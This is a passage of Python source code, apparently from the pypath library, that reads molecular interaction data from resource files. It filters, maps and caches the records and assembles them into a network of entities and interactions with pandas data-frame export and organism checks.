network data - %s' % networkinput.name,\n )\n\n try:\n\n for lnum, line in enumerate(prg):\n\n if len(line) <= 1 or (lnum == 1 and networkinput.header):\n # empty lines\n # or header row\n continue\n\n if not isinstance(line, (list, tuple)):\n\n if hasattr(line, 'decode'):\n line = line.decode('utf-8')\n\n line = line.strip('\\n\\r').split(networkinput.separator)\n\n else:\n line = [\n x.replace('\\n', '').replace('\\r', '')\n if hasattr(x, 'replace') else\n x\n for x in line\n ]\n\n # 1) filters\n if self._filters(\n line,\n networkinput.positive_filters,\n networkinput.negative_filters\n ):\n\n input_filtered += 1\n continue\n\n # 2) direction\n # reading names and attributes:\n if is_directed and not isinstance(is_directed, tuple):\n\n this_edge_dir = True\n\n else:\n\n this_edge_dir = self._process_direction(\n line,\n dir_col,\n dir_val,\n dir_sep,\n )\n\n # 3) references\n refs = []\n\n if ref_col is not None:\n\n if line[ref_col] is None:\n\n refs = ()\n\n elif isinstance(line[ref_col], (list, set, tuple)):\n\n refs = line[ref_col]\n\n elif isinstance(line[ref_col], int):\n\n refs = (line[ref_col],)\n\n else:\n\n refs = line[ref_col].split(ref_sep)\n\n refs = common.del_empty(list(set(refs)))\n\n refs = pubmed_input.only_pmids(\n [str(r).strip() for r in refs]\n )\n\n if len(refs) == 0 and must_have_references:\n\n ref_filtered += 1\n continue\n\n # 4) entity types\n entity_type_a = self._process_field(\n networkinput.entity_type_a,\n line,\n )\n entity_type_b = self._process_field(\n networkinput.entity_type_b,\n line,\n )\n\n # 5) ID types\n id_type_a = self._process_field(networkinput.id_type_a, line)\n id_type_b = self._process_field(networkinput.id_type_b, line)\n\n # 6) organisms\n # to give an easy way for input definition:\n if isinstance(networkinput.ncbi_tax_id, int):\n\n taxon_a = (\n constants.NOT_ORGANISM_SPECIFIC\n if entity_type_a in SMOL_TYPES else\n networkinput.ncbi_tax_id\n )\n taxon_b = (\n constants.NOT_ORGANISM_SPECIFIC\n if entity_type_b in SMOL_TYPES else\n networkinput.ncbi_tax_id\n )\n\n # to enable more sophisticated inputs:\n elif isinstance(networkinput.ncbi_tax_id, dict):\n\n taxx = self._process_taxon(\n networkinput.ncbi_tax_id,\n line,\n )\n\n if isinstance(taxx, tuple):\n\n taxon_a, taxon_b = taxx\n\n else:\n\n taxon_a = taxon_b = taxx\n\n taxd_a = (\n networkinput.ncbi_tax_id['A']\n if 'A' in networkinput.ncbi_tax_id else\n constants.NOT_ORGANISM_SPECIFIC\n if entity_type_a in SMOL_TYPES else\n networkinput.ncbi_tax_id\n )\n taxd_b = (\n networkinput.ncbi_tax_id['B']\n if 'B' in networkinput.ncbi_tax_id else\n constants.NOT_ORGANISM_SPECIFIC\n if entity_type_b in SMOL_TYPES else\n networkinput.ncbi_tax_id\n )\n\n only_default = networkinput.only_default_organism\n\n if not (\n self._match_taxon(taxd_a, taxon_a, only_default) and\n self._match_taxon(taxd_b, taxon_b, only_default)\n ):\n\n taxon_filtered += 1\n continue\n\n # assuming by default the default organism\n else:\n\n taxon_a = taxon_b = self.ncbi_tax_id\n\n if taxon_a is None or taxon_b is None:\n\n taxon_filtered += 1\n continue\n\n # 7) effect (sign)\n positive = False\n negative = False\n\n if isinstance(sign, tuple):\n\n positive, negative = (\n self._process_sign(line[sign[0]], sign)\n )\n\n # 8) resources (source databases)\n resource = (\n line[networkinput.resource]\n if isinstance(networkinput.resource, int) else\n line[networkinput.resource[0]].split(\n networkinput.resource[1]\n )\n if (\n isinstance(networkinput.resource, tuple) and\n hasattr(line[networkinput.resource[0]], 'split')\n ) else\n []\n if isinstance(networkinput.resource, tuple) else\n networkinput.resource\n )\n\n resource = common.to_set(resource)\n\n _resources_secondary = tuple(\n network_resources.resource.NetworkResource(\n name = sec_res,\n interaction_type = _resource.interaction_type,\n data_model = _resource.data_model,\n via = _resource.name,\n dataset = _resource.dataset,\n )\n for sec_res in resource\n if sec_res != _resource.name\n )\n\n resource.add(networkinput.name)\n\n # 9) interacting partners\n id_a = self._process_partner(networkinput.id_col_a, line)\n id_b = self._process_partner(networkinput.id_col_b, line)\n\n # 10) further attributes\n # getting additional edge and node attributes\n attrs_edge = self._process_attrs(\n line,\n networkinput.extra_edge_attrs,\n lnum,\n )\n attrs_node_a = self._process_attrs(\n line,\n networkinput.extra_node_attrs_a,\n lnum,\n )\n attrs_node_b = self._process_attrs(\n line,\n networkinput.extra_node_attrs_b,\n lnum,\n )\n\n # 11) creating the Evidence object\n evidences = evidence.Evidences(\n evidences = (\n evidence.Evidence(\n resource = _res,\n references = None if _res.via else refs,\n attrs = attrs_edge,\n )\n for _res in\n _resources_secondary + (_resource,)\n )\n )\n\n # 12) node attributes that\n # depend on the interaction direction\n if networkinput.mark_source:\n\n attrs_node_a[networkinput.mark_source] = this_edge_dir\n\n if networkinput.mark_target:\n\n attrs_node_b[networkinput.mark_target] = this_edge_dir\n\n # 13) all interaction data goes into a dict\n new_edge = {\n 'id_a': id_a,\n 'id_b': id_b,\n 'id_type_a': id_type_a,\n 'id_type_b': id_type_b,\n 'entity_type_a': entity_type_a,\n 'entity_type_b': entity_type_b,\n 'source': resource,\n 'is_directed': this_edge_dir,\n 'references': refs,\n 'positive': positive,\n 'negative': negative,\n 'taxon_a': taxon_a,\n 'taxon_b': taxon_b,\n 'interaction_type': networkinput.interaction_type,\n 'evidences': evidences,\n 'attrs_node_a': attrs_node_a,\n 'attrs_node_b': attrs_node_b,\n 'attrs_edge': attrs_edge,\n }\n\n if read_error:\n\n self._log(\n 'Errors occured, certain lines skipped.'\n 'Trying to read the remaining.\\n',\n 5,\n )\n\n edge_list.append(new_edge)\n\n if first_n and len(edge_list) >= first_n:\n\n break\n\n except Exception as e:\n\n self._log(\n 'Error at loading resource `%s`.' % networkinput.name\n )\n\n raise e\n\n if hasattr(infile, 'close'):\n\n infile.close()\n\n # 14) ID translation of edges\n edge_list_mapped = self._map_list(\n edge_list,\n expand_complexes = expand_complexes,\n )\n\n self._log(\n '%u lines have been read from %s, '\n '%u links after mapping; '\n '%u lines filtered by filters; '\n '%u lines filtered because lack of references; '\n '%u lines filtered by taxon filters.' %\n (\n lnum - 1,\n networkinput.input,\n len(edge_list_mapped),\n input_filtered,\n ref_filtered,\n taxon_filtered,\n )\n )\n\n if reread or redownload:\n\n pickle.dump(edge_list_mapped, open(edges_cache, 'wb'), -1)\n self._log('ID translated edge list saved to %s' % edges_cache)\n\n else:\n\n self._log(\n 'Previously ID translated edge list '\n 'has been loaded from `%s`.' % edges_cache\n )\n\n if keep_raw:\n\n self.raw_data[networkinput.name] = edge_list_mapped\n\n self.edge_list_mapped = edge_list_mapped\n\n\n def _lookup_cache(self, name, cache_files, int_cache, edges_cache):\n \"\"\"\n Checks up the cache folder for the files of a given resource.\n First checks if *name* is on the *cache_files* dictionary.\n If so, loads either the interactions or edges otherwise. If\n not, checks *edges_cache* or *int_cache* otherwise.\n\n :arg str name:\n Name of the resource (lower-case).\n :arg dict cache_files:\n Contains the resource name(s) [str] (keys) and the\n corresponding cached file name [str] (values).\n :arg str int_cache:\n Path to the interactions cache file of the resource.\n :arg str edges_cache:\n Path to the edges cache file of the resource.\n\n :return:\n * (*file*) -- The loaded pickle file from the cache if the\n file is contains the interactions. ``None`` otherwise.\n * (*list*) -- List of mapped edges if the file contains the\n information from the edges. ``[]`` otherwise.\n \"\"\"\n\n cache_files = cache_files or {}\n infile = None\n edge_list_mapped = []\n cache_file = cache_files[name] if name in cache_files else None\n\n if cache_file is not None and os.path.exists(cache_file):\n cache_type = cache_file.split('.')[-2]\n\n if cache_type == 'interactions':\n infile = self.read_from_cache(int_cache)\n\n elif cache_type == 'edges':\n edge_list_mapped = self.read_from_cache(edges_cache)\n\n elif os.path.exists(edges_cache):\n edge_list_mapped = self.read_from_cache(edges_cache)\n\n elif os.path.exists(int_cache):\n infile = self.read_from_cache(int_cache)\n\n return infile, edge_list_mapped\n\n\n @classmethod\n def _filters(\n cls,\n line,\n positive_filters = None,\n negative_filters = None,\n ):\n \"\"\"\n Applies negative and positive filters on a line (record from an\n interaction database). If returns ``True`` the interaction will be\n discarded, if ``False`` the interaction will be further processed\n and if all other criteria fit then will be added to the network\n after identifier translation.\n\n Return\n (bool): True if the line should be filtered (removed), False\n if all filters passed, the record can be further processed.\n \"\"\"\n\n return (\n cls._process_filters(line, negative_filters, False) or\n cls._process_filters(line, positive_filters, True)\n )\n\n\n @classmethod\n def _process_filters(cls, line, filters = None, negate = False):\n \"\"\"\n Args\n negate (bool): Whether to negate the filter matches. Sorry for\n the confusion, but it should be True for positive filters\n and False for negatives.\n\n\n Return\n (bool): True if the line should be filtered (removed), False\n if all filters passed, the record can be further processed.\n \"\"\"\n\n _negate = (lambda x: not x) if negate else (lambda x: x)\n\n filters = filters or ()\n\n for filtr in filters:\n\n if _negate(cls._process_filter(line, filtr)):\n\n return True\n\n return False\n\n\n @classmethod\n def _process_filter(cls, line, filtr):\n \"\"\"\n Return\n (bool): True if the filter matches.\n \"\"\"\n\n if callable(filtr):\n\n if filtr(line):\n\n return True\n\n else:\n\n if len(filtr) > 2:\n\n sep = filtr[2]\n thisVal = set(line[filtr[0]].split(sep))\n\n else:\n\n thisVal = common.to_set(line[filtr[0]])\n\n filtrVal = common.to_set(filtr[1])\n\n return bool(thisVal & filtrVal)\n\n\n def _process_sign(self, sign_data, sign_def):\n \"\"\"\n Processes the sign of an interaction, used when processing an\n input file.\n\n :arg str sign_data:\n Data regarding the sign to be processed.\n :arg tuple sign_def:\n Contains information about how to process *sign_data*. This\n is defined in :py:mod:`pypath.data_formats`. First element\n determines the position on the direction information of each\n line on the data file [int], second element is either [str]\n or [list] and defines the terms for which an interaction is\n defined as stimulation, third element is similar but for the\n inhibition and third (optional) element determines the\n separator for *sign_data* if contains more than one element.\n\n :return:\n * (*bool*) -- Determines whether the processed interaction\n is considered stimulation (positive) or not.\n * (*bool*) -- Determines whether the processed interaction\n is considered inhibition (negative) or not.\n \"\"\"\n\n positive = False\n negative = False\n sign_sep = sign_def[3] if len(sign_def) > 3 else None\n sign_data = sign_data.split(sign_sep) if sign_sep else sign_data\n sign_data = common.to_set(sign_data)\n pos = common.to_set(sign_def[1])\n neg = common.to_set(sign_def[2])\n\n if bool(sign_data & pos):\n\n positive = True\n\n if bool(sign_data & neg):\n\n negative = True\n\n return positive, negative\n\n\n def _process_direction(self, line, dir_col, dir_val, dir_sep):\n \"\"\"\n Processes the direction information of an interaction according\n to a data file from a source.\n\n :arg list line:\n The stripped and separated line from the resource data file\n containing the information of an interaction.\n :arg int dir_col:\n The column/position number where the information about the\n direction is to be found (on *line*).\n :arg list dir_val:\n Contains the terms [str] for which that interaction is to be\n considered directed.\n :arg str dir_sep:\n Separator for the field in *line* containing the direction\n information (if any).\n\n :return:\n (*bool*) -- Determines whether the given interaction is\n directed or not.\n \"\"\"\n\n if isinstance(dir_col, bool):\n\n return dic_col\n\n if (\n dir_val is None and\n isinstance(dir_col, int) and\n isinstance(line[dir_col], bool)\n ):\n\n return line[dir_col]\n\n if dir_col is None or dir_val is None:\n\n return False\n\n else:\n\n value = line[dir_col].split(dir_sep) if dir_sep else line[dir_col]\n value = common.to_set(value)\n\n return bool(value & dir_val)\n\n\n def _process_field(self, fmt, line):\n \"\"\"\n Extract a value from a line describing an interaction.\n\n Args\n fmt (str, tuple, callable): The value, or a definition how to\n process it.\n line (list): The raw interaction record.\n\n Return\n (str): The extracted value.\n \"\"\"\n\n if common.is_str(fmt) or isinstance(fmt, list):\n\n return fmt\n\n elif callable(fmt):\n\n return fmt(line)\n\n if isinstance(fmt, int):\n\n idx, dct = fmt, {}\n\n elif isinstance(fmt, tuple):\n\n idx, dct = fmt\n\n val = line[idx]\n val = dct.get(val, val)\n\n return val\n\n\n @staticmethod\n def _process_partner(fmt, line):\n\n if isinstance(fmt, int):\n\n partner = line[fmt]\n\n elif isinstance(fmt, tuple):\n\n idx, proc = fmt\n obj = line if idx is None else line[idx]\n\n partner = proc(obj)\n\n return partner.strip() if hasattr(partner, 'strip') else partner\n\n\n def _map_list(\n self,\n lst,\n single_list = False,\n expand_complexes = True,\n ):\n \"\"\"\n Maps the names from a list of edges or items (molecules).\n\n :arg list lst:\n List of items or edge dictionaries whose names have to be\n mapped.\n :arg bool single_list:\n Optional, ``False`` by default. Determines whether the\n provided elements are items or edges. This is, either calls\n :py:meth:`pypath.main.PyPath.map_edge` or\n :py:meth:`pypath.main.PyPath.map_item` to map the item\n names.\n :arg bool expand_complexes:\n Expand complexes, i.e. create links between each member of\n the complex and the interacting partner.\n\n :return:\n (*list*) -- Copy of *lst* with their elements' names mapped.\n \"\"\"\n\n list_mapped = []\n\n if single_list:\n\n for item in lst:\n\n list_mapped += self._map_item(\n item,\n expand_complexes = expand_complexes,\n )\n\n else:\n\n for edge in lst:\n\n list_mapped += self._map_edge(\n edge,\n expand_complexes = expand_complexes,\n )\n\n return list_mapped\n\n\n def _map_item(self, item, expand_complexes = True):\n \"\"\"\n Translates the name in *item* representing a molecule. Default\n name types are defined in\n :py:attr:`pypath.main.PyPath.default_name_type` If the mapping\n is unsuccessful, the item will be added to\n :py:attr:`pypath.main.PyPath.unmapped` list.\n\n :arg dict item:\n Item whose name is to be mapped to a default name type.\n :arg bool expand_complexes:\n Expand complexes, i.e. create links between each member of\n the complex and the interacting partner.\n\n :return:\n (*list*) -- The default mapped name(s) [str] of *item*.\n \"\"\"\n\n # TODO: include\n default_id = mapping.map_name(\n item['name'], item['id_type'],\n self.default_name_types[item['type']],\n expand_complexes = expand_complexes,\n )\n\n if len(default_id) == 0:\n\n self.unmapped.append(item['name'])\n\n return default_id\n\n\n def _map_edge(self, edge, expand_complexes = True):\n \"\"\"\n Translates the identifiers in *edge* representing an edge. Default\n name types are defined in\n :py:attr:`pypath.main.PyPath.default_name_type` If the mapping\n is unsuccessful, the item will be added to\n :py:attr:`pypath.main.PyPath.unmapped` list.\n\n :arg dict edge:\n Item whose name is to be mapped to a default name type.\n :arg bool expand_complexes:\n Expand complexes, i.e. create links between each member of\n the complex and the interacting partner.\n\n :return:\n (*list*) -- Contains the edge(s) [dict] with default mapped\n names.\n \"\"\"\n\n edge_stack = []\n\n defnt = self.default_name_types\n def_name_type_a = defnt.get(edge['entity_type_a'], edge['id_type_a'])\n def_name_type_b = defnt.get(edge['entity_type_b'], edge['id_type_b'])\n\n default_id_a = mapping.map_name(\n edge['id_a'],\n edge['id_type_a'],\n def_name_type_a,\n ncbi_tax_id = edge['taxon_a'],\n expand_complexes = expand_complexes,\n )\n\n default_id_b = mapping.map_name(\n edge['id_b'],\n edge['id_type_b'],\n def_name_type_b,\n ncbi_tax_id = edge['taxon_b'],\n expand_complexes = expand_complexes,\n )\n\n # this is needed because the possibility ambigous mapping\n # and expansion of complexes\n # one name can be mapped to multiple ones\n # this multiplies the nodes and edges\n # in case of proteins this does not happen too often\n for id_a, id_b in itertools.product(default_id_a, default_id_b):\n\n this_edge = copy_mod.copy(edge)\n this_edge['default_name_a'] = id_a\n this_edge['default_name_type_a'] = def_name_type_a\n\n this_edge['default_name_b'] = id_b\n this_edge['default_name_type_b'] = def_name_type_b\n\n edge_stack.append(this_edge)\n\n return edge_stack\n\n\n def _process_attrs(self, line, spec, lnum):\n \"\"\"\n Extracts the extra (custom, resource specific) attributes from a\n line of the input based on the given specification (defined in the\n network input definition).\n \"\"\"\n\n attrs = {}\n\n for col in spec.keys():\n # extra_edge_attrs and extra_node_attrs are dicts\n # of additional parameters assigned to edges and nodes\n # respectively;\n # key is the name of the parameter, value is the col number,\n # or a tuple of col number and the separator,\n # if the column contains additional subfields e.g. (5, \";\")\n\n try:\n\n if spec[col].__class__ is tuple:\n\n if hasattr(spec[col][1], '__call__'):\n field_value = spec[col][1](line[spec[col][0]])\n\n else:\n field_value = line[spec[col][0]].split(spec[col][1])\n\n else:\n field_value = line[spec[col]]\n\n except:\n self._log(\n 'Wrong column index (%s) in extra attributes? '\n 'Line #%u' % (str(col), lnum),\n -5,\n )\n\n field_name = col\n attrs[field_name] = field_value\n\n return attrs\n\n\n def _process_taxon(self, tax_dict, fields): # TODO\n \"\"\"\n \"\"\"\n\n if isinstance(tax_dict, int):\n\n return tax_dict\n\n elif 'A' in tax_dict and 'B' in tax_dict:\n\n return (\n self._process_taxon(tax_dict['A'], fields),\n self._process_taxon(tax_dict['B'], fields),\n )\n\n else:\n\n if 'dict' not in tax_dict:\n return int(fields[tax_dict['col']])\n\n elif fields[tax_dict['col']] in tax_dict['dict']:\n return tax_dict['dict'][fields[tax_dict['col']]]\n\n else:\n return None\n\n\n def _match_taxon(self, tax_dict, taxon, only_default_organism = False):\n\n has_dict = isinstance(tax_dict, dict)\n has_include = has_dict and 'include' in tax_dict\n has_exclude = has_dict and 'exclude' in tax_dict\n\n return (\n (\n taxon == constants.NOT_ORGANISM_SPECIFIC\n ) or (\n has_include and\n taxon in tax_dict['include']\n ) or (\n has_exclude and\n taxon not in tax_dict['exclude']\n ) or (\n not has_include and\n not has_exclude and\n (\n not only_default_organism or\n taxon == self.ncbi_tax_id\n )\n )\n )\n\n\n def _add_edge_list(\n self,\n edge_list = False,\n regulator = False,\n only_directions = False,\n allow_loops = None,\n ):\n \"\"\"\n Adds edges to the network from *edge_list* obtained from file or\n other input method. If none is passed, checks for such data in\n :py:attr:`pypath.network.Network.edge_list_mapped`.\n\n :arg str edge_list:\n Optional, ``False`` by default. The source name of the list\n of edges to be added. This must have been loaded previously\n (e.g.: with :py:meth:`pypath.main.PyPath.read_data_file`).\n If none is passed, loads the data directly from\n :py:attr:`pypath.main.PyPath.raw_data`.\n :arg bool regulator:\n Optional, ``False`` by default. If set to ``True``, non\n previously existing nodes, will not be added (and hence, the\n edges involved).\n \"\"\"\n\n self._log('Adding preprocessed edge list to existing network.')\n\n allow_loops = self._allow_loops(allow_loops = allow_loops)\n\n if not edge_list:\n\n if (\n hasattr(self, 'edge_list_mapped') and\n self.edge_list_mapped is not None\n ):\n\n edge_list = self.edge_list_mapped\n\n else:\n\n self._log('_add_edge_list(): No data, nothing to do.')\n return True\n\n if isinstance(edge_list, str):\n\n if edge_list in self.raw_data:\n\n edge_list = self.raw_data[edge_list]\n\n else:\n\n self._log(\n '`%s` looks like a source name, but no data '\n 'available under this name.' % edge_list\n )\n\n return False\n\n self._filtered_loops = 0\n\n prg = progress.Progress(\n iterable = edge_list,\n name = 'Processing interactions',\n )\n\n for e in prg:\n\n self._add_update_edge(\n e,\n allow_loops = allow_loops,\n only_directions = only_directions,\n )\n\n self._log(\n 'New network resource added, current number '\n 'of nodes: %u, edges: %u.' % (\n self.vcount,\n self.ecount\n )\n )\n\n if not allow_loops:\n\n self._log('Loop edges discarded: %u' % self._filtered_loops)\n\n delattr(self, '_filtered_loops')\n\n self.raw_data = None\n\n\n def _add_update_edge(\n self,\n edge,\n allow_loops = None,\n only_directions = False,\n ):\n \"\"\"\n Adds a new interaction (edge) or updates the attributes of the edge\n if it already exists.\n\n :arg dict edge:\n A dictionary describing an edge (interaction) with the following\n items:\n :item str id_a:\n Name of the source node of the edge to be added/updated.\n :item str id_b:\n Name of the source node of the edge to be added/updated.\n :item set source:\n Or [list], contains the names [str] of the resources\n supporting that edge.\n :item pypath.evidence.Evidence evidence:\n A ``pypath.evidence.Evidence`` object.\n :item bool is_directed:\n Whether if the edge is directed or not.\n :item set refs:\n Or [list], contains the instances of the references\n :py:class:`pypath.refs.Reference` for that edge.\n :item bool stim:\n Whether the edge is stimulatory or not.\n :item bool inh:\n Whether the edge is inhibitory or note\n :item int taxon_a:\n NCBI Taxonomic identifier of the source molecule.\n :item int taxon_b:\n NCBI Taxonomic identifier of the target molecule.\n :item str typ:\n The type of interaction (e.g.: ``'trascriptional'``)\n :item dict extra_attrs:\n Optional, ``{}`` by default. Contains any extra attributes\n for the edge to be updated.\n\n :arg bool only_directions:\n Optional, ``False`` by default. If set to ``True`` and the\n edge is not in the network, it won't be created. If it already\n exists the attributes of the new edge will be added to the\n existing one.\n \"\"\"\n\n (\n id_a,\n id_b,\n id_type_a,\n id_type_b,\n entity_type_a,\n entity_type_b,\n source,\n evidences,\n is_directed,\n refs,\n positive,\n negative,\n taxon_a,\n taxon_b,\n interaction_type,\n extra_attrs,\n extra_attrs_a,\n extra_attrs_b,\n ) = (\n edge['default_name_a'],\n edge['default_name_b'],\n edge['default_name_type_a'],\n edge['default_name_type_b'],\n edge['entity_type_a'],\n edge['entity_type_b'],\n edge['source'],\n edge['evidences'],\n edge['is_directed'],\n edge['references'],\n edge['positive'],\n edge['negative'],\n edge['taxon_a'],\n edge['taxon_b'],\n edge['interaction_type'],\n edge['attrs_edge'],\n edge['attrs_node_a'],\n edge['attrs_node_b'],\n )\n\n allow_loops = allow_loops or self.allow_loops\n\n refs = {refs_mod.Reference(pmid) for pmid in refs}\n\n entity_a = entity_mod.Entity(\n identifier = id_a,\n id_type = id_type_a,\n entity_type = entity_type_a,\n taxon = taxon_a,\n attrs = extra_attrs_a,\n )\n entity_b = entity_mod.Entity(\n identifier = id_b,\n id_type = id_type_b,\n entity_type = entity_type_b,\n taxon = taxon_b,\n attrs = extra_attrs_b,\n )\n\n interaction = interaction_mod.Interaction(\n a = entity_a,\n b = entity_b,\n attrs = extra_attrs,\n )\n\n if not allow_loops and interaction.is_loop():\n\n self._filtered_loops += 1\n return\n\n if is_directed:\n\n interaction.add_evidence(\n evidence = evidences,\n direction = (entity_a, entity_b),\n )\n\n else:\n\n interaction.add_evidence(\n evidence = evidences,\n direction = 'undirected',\n )\n\n # setting signs:\n if positive:\n\n interaction.add_evidence(\n evidence = evidences,\n direction = (entity_a, entity_b),\n effect = 1,\n )\n\n if negative:\n\n interaction.add_evidence(\n evidence = evidences,\n direction = (entity_a, entity_b),\n effect = -1,\n )\n\n if is_directed and not positive and not negative:\n\n interaction.add_evidence(\n evidence = evidences,\n direction = (entity_a, entity_b),\n effect = 0,\n )\n\n self.add_interaction(\n interaction,\n attrs = extra_attrs,\n only_directions = only_directions,\n )\n\n\n def organisms_check(\n self,\n organisms = None,\n remove_mismatches = True,\n remove_nonspecific = False,\n ):\n \"\"\"\n Scans the network for one or more organisms and removes the nodes\n and interactions which belong to any other organism.\n\n :arg int,set,NoneType organisms:\n One or more NCBI Taxonomy IDs. If ``None`` the value in\n :py:attr:`ncbi_tax_id` will be used. If that's too is ``None``\n then only the entities with discrepancy between their stated\n organism and their identifier.\n :arg bool remove_mismatches:\n Remove the entities where their ``identifier`` can not be found\n in the reference list from the database for their ``taxon``.\n :arg bool remove_nonspecific:\n Remove the entities with taxonomy ID zero, which is used to\n represent the non taxon specific entities such as metabolites\n or drug compounds.\n \"\"\"\n\n self._log(\n 'Checking organisms. %u nodes and %u interactions before.' % (\n self.vcount,\n self.ecount,\n )\n )\n\n organisms = common.to_set(organisms or self.ncbi_tax_id)\n\n to_remove = set()\n\n for node in self.nodes.values():\n\n if (\n organisms and\n node.taxon != constants.NOT_ORGANISM_SPECIFIC and\n node.taxon not in organisms\n ):\n\n to_remove.add(node)\n\n if (\n (\n remove_mismatches and\n not node.entity_type in {\n 'complex',\n 'lncrna',\n 'drug',\n 'small_molecule'\n } and\n not reflists.check(\n name = node.identifier,\n id_type = node.id_type,\n ncbi_tax_id = node.taxon,\n )\n ) or (\n remove_nonspecific and\n not node.taxon\n )\n ):\n\n to_remove.add(node)\n\n for node in to_remove:\n\n self.remove_node(node)\n\n self._log(\n 'Finished checking organisms. '\n '%u nodes have been removed, '\n '%u nodes and %u interactions remained.' % (\n len(to_remove),\n self.vcount,\n self.ecount,\n )\n )\n\n\n def get_organisms(self):\n \"\"\"\n Returns the set of all NCBI Taxonomy IDs occurring in the network.\n \"\"\"\n\n return {n.taxon for n in self.nodes.values()}\n\n\n @property\n def vcount(self):\n\n return len(self.nodes)\n\n\n @property\n def ecount(self):\n\n return len(self.interactions)\n\n\n def make_df(\n self,\n records = None,\n by_source = None,\n with_references = None,\n columns = None,\n dtype = None,\n ):\n \"\"\"\n Creates a ``pandas.DataFrame`` from the interactions.\n \"\"\"\n\n self._log('Creating interactions data frame.')\n\n by_source = by_source if by_source is not None else self.df_by_source\n with_references = (\n with_references\n if with_references is not None else\n self.df_with_references\n )\n columns = columns or self.df_columns\n dtype = dtype or self.df_dtype\n\n if not dtype:\n\n dtype = {\n 'id_a': 'category',\n 'id_b': 'category',\n 'type_a': 'category',\n 'type_b': 'category',\n 'effect': 'int8',\n 'type': 'category',\n 'dmodel': 'category' if by_source else 'object',\n 'sources': 'category' if by_source else 'object',\n 'references': 'object' if with_references else 'category',\n }\n\n if not records:\n\n records = self.generate_df_records(\n by_source = by_source,\n with_references = with_references,\n )\n\n if not isinstance(records, (list, tuple, np.ndarray)):\n\n records = list(records)\n\n if not columns and hasattr(records[0], '_fields'):\n\n columns = records[0]._fields\n\n self.records = records\n self.dtype = dtype\n\n self.df = pd.DataFrame(\n records,\n columns = columns,\n )\n\n ### why?\n if dtype:\n\n self.df = self.df.astype(dtype)\n\n self._log(\n 'Interaction data frame ready. '\n 'Memory usage: %s ' % common.df_memory_usage(self.df)\n )\n\n\n def get_df(self):\n\n if not hasattr(self, 'df'):\n\n self.make_df()\n\n return self.df\n\n\n def filtered(\n self,\n resource = None,\n entity_type = None,\n data_model = None,\n interaction_type = None,\n only_directed = None,\n only_undirected = None,\n only_signed = None,\n only_proteins = None,\n effect = None,\n entities = None,\n source_entities = None,\n target_entities = None,\n swap_undirected = True,\n **kwargs\n ):\n\n return self.filter_df(\n df = self.get_df(),\n resource = resource,\n entity_type = entity_type,\n data_model = data_model,\n interaction_type = interaction_type,\n only_directed = only_directed,\n only_undirected = only_undirected,\n only_signed = only_signed,\n only_proteins = only_proteins,\n effect = effect,\n entities = entities,\n source_entities = source_entities,\n target_entities = target_entities,\n swap_undirected = swap_undirected,\n **kwargs\n )\n\n\n @staticmethod\n def filter_df(*args, **kwargs):\n\n return core_common.filter_network_df(*args, **kwargs)\n\n\n def generate_df_records(self, by_source = False, with_references = False):\n\n for ia in self.interactions.values():\n\n for rec in ia.generate_df_records(\n by_source = by_source,\n with_references = with_references,\n ):\n\n yield rec\n\n\n @classmethod\n def from_igraph(cls, pa, **kwargs):\n \"\"\"\n Creates an instance from an ``igraph.Graph`` based\n ``pypath.main.PyPath`` object.\n\n :arg pypath.main.PyPath pa:\n A ``pypath.main.PyPath`` object with network data loaded.\n \"\"\"\n\n obj = cls(**kwargs)\n\n for ia in pa.graph.es['attrs']:\n\n obj.add_interaction(ia)\n\n return obj\n\n\n def add_interaction(\n self,\n interaction,\n attrs = None,\n only_directions = False,\n ):\n \"\"\"\n Adds a ready ``pypath.interaction.Interaction`` object to the network.\n If an interaction between the two endpoints already exists, the\n interactions will be merged: this stands for the directions, signs,\n evidences and other attributes.\n\n :arg interaction.Interaction interaction:\n A ``pypath.interaction.Interaction`` object.\n :arg NoneType,dict attrs:\n Optional, a dictionary of extra (usually resource specific)\n attributes.\n :arg bool only_directions:\n If the interaction between the two endpoints does not exist it\n won't be added to the network. Otherwise all attributes\n (direction, effect sign, evidences, etc) will be merged to the\n existing interaction. Apart from the endpoints also the\n ``interaction_type`` of the existing interaction has to match the\n interaction added here.\n \"\"\"\n\n attrs = attrs or {}\n\n key = (interaction.a, interaction.b)\n\n if key not in self.interactions:\n\n if only_directions:\n\n return\n\n else:\n\n self.interactions[key] = interaction\n\n else:\n\n if only_directions:\n\n if (\n self.interactions[key].get_interaction_types() &\n interaction.get_interaction_types()\n ):\n\n for itype_to_remove in (\n interaction.get_interaction_types() -\n self.interactions[key].get_interaction_types()\n ):\n\n interaction.unset_interaction_type(itype_to_remove)\n\n else:\n\n return\n\n self.interactions[key] += interaction\n\n self.interactions[key].update_attrs(**attrs)\n\n self.add_node(interaction.a, add = not only_directions)\n self.add_node(interaction.b, add = not only_directions)\n\n self.interactions_by_nodes[interaction.a].add(key)\n self.interactions_by_nodes[interaction.b].add(key)\n\n\n def add_node(self, entity, attrs = None, add = True):\n \"\"\"\n Adds a molecular entity to the py:attr:``nodes`` and\n py:attr:``nodes_by_label`` dictionaries.\n\n :arg entity.Entity entity:\n An object representing a molecular entity.\n :arg NoneType,dict attrs:\n Optional extra attributes to be assigned to the entity.\n :arg bool add:\n Whether to add a new molecular entity to the network if it does\n not exist yet. If ``False`` will only update attributes for\n existing entities otherwise will do nothing.\n \"\"\"\n\n if attrs:\n\n entity.update_attrs(**attrs)\n\n if entity.identifier in self.nodes:\n\n self.nodes[entity.identifier] += entity\n\n elif add:\n\n self.nodes[entity.identifier] = entity\n self.nodes_by_label[entity.label or entity.identifier] = entity\n\n\n def remove_node(self, entity):\n \"\"\"\n Removes a node with all its interactions.\n If the removal of the interactions leaves any of the partner nodes\n without interactions it will be removed too.\n\n :arg str,Entity entity:\n A molecular entity identifier, label or ``Entity`` object.\n \"\"\"\n\n entity = self.entity(entity)\n\n if not entity:\n\n return\n\n _ = self.nodes.pop(entity.identifier, None)\n _ = self.nodes_by_label.pop(entity.label, None)\n\n if entity in self.interactions_by_nodes:\n\n partners = set()\n\n for i_key in self.interactions_by_nodes[entity].copy():\n\n self.remove_interaction(*i_key)\n\n _ = self.interactions_by_nodes.pop(entity, None)\n\n\n def remove_interaction(self, entity_a, entity_b):\n \"\"\"\n Removes the interaction between two nodes if exists.\n\n :arg str,Entity entity_a,entity_b:\n A pair of molecular entity identifiers, labels or ``Entity``\n objects.\n \"\"\"\n\n entity_a = self.entity(entity_a)\n entity_b = self.entity(entity_b)\n\n key_ab = (entity_a, entity_b)\n key_ba = (entity_b, entity_a)\n\n _ = self.interactions.pop(key_ab, None)\n _ = self.interactions.pop(key_ba, None)\n\n keys = {key_ab, key_ba}\n self.interactions_by_nodes[entity_a] -= keys\n 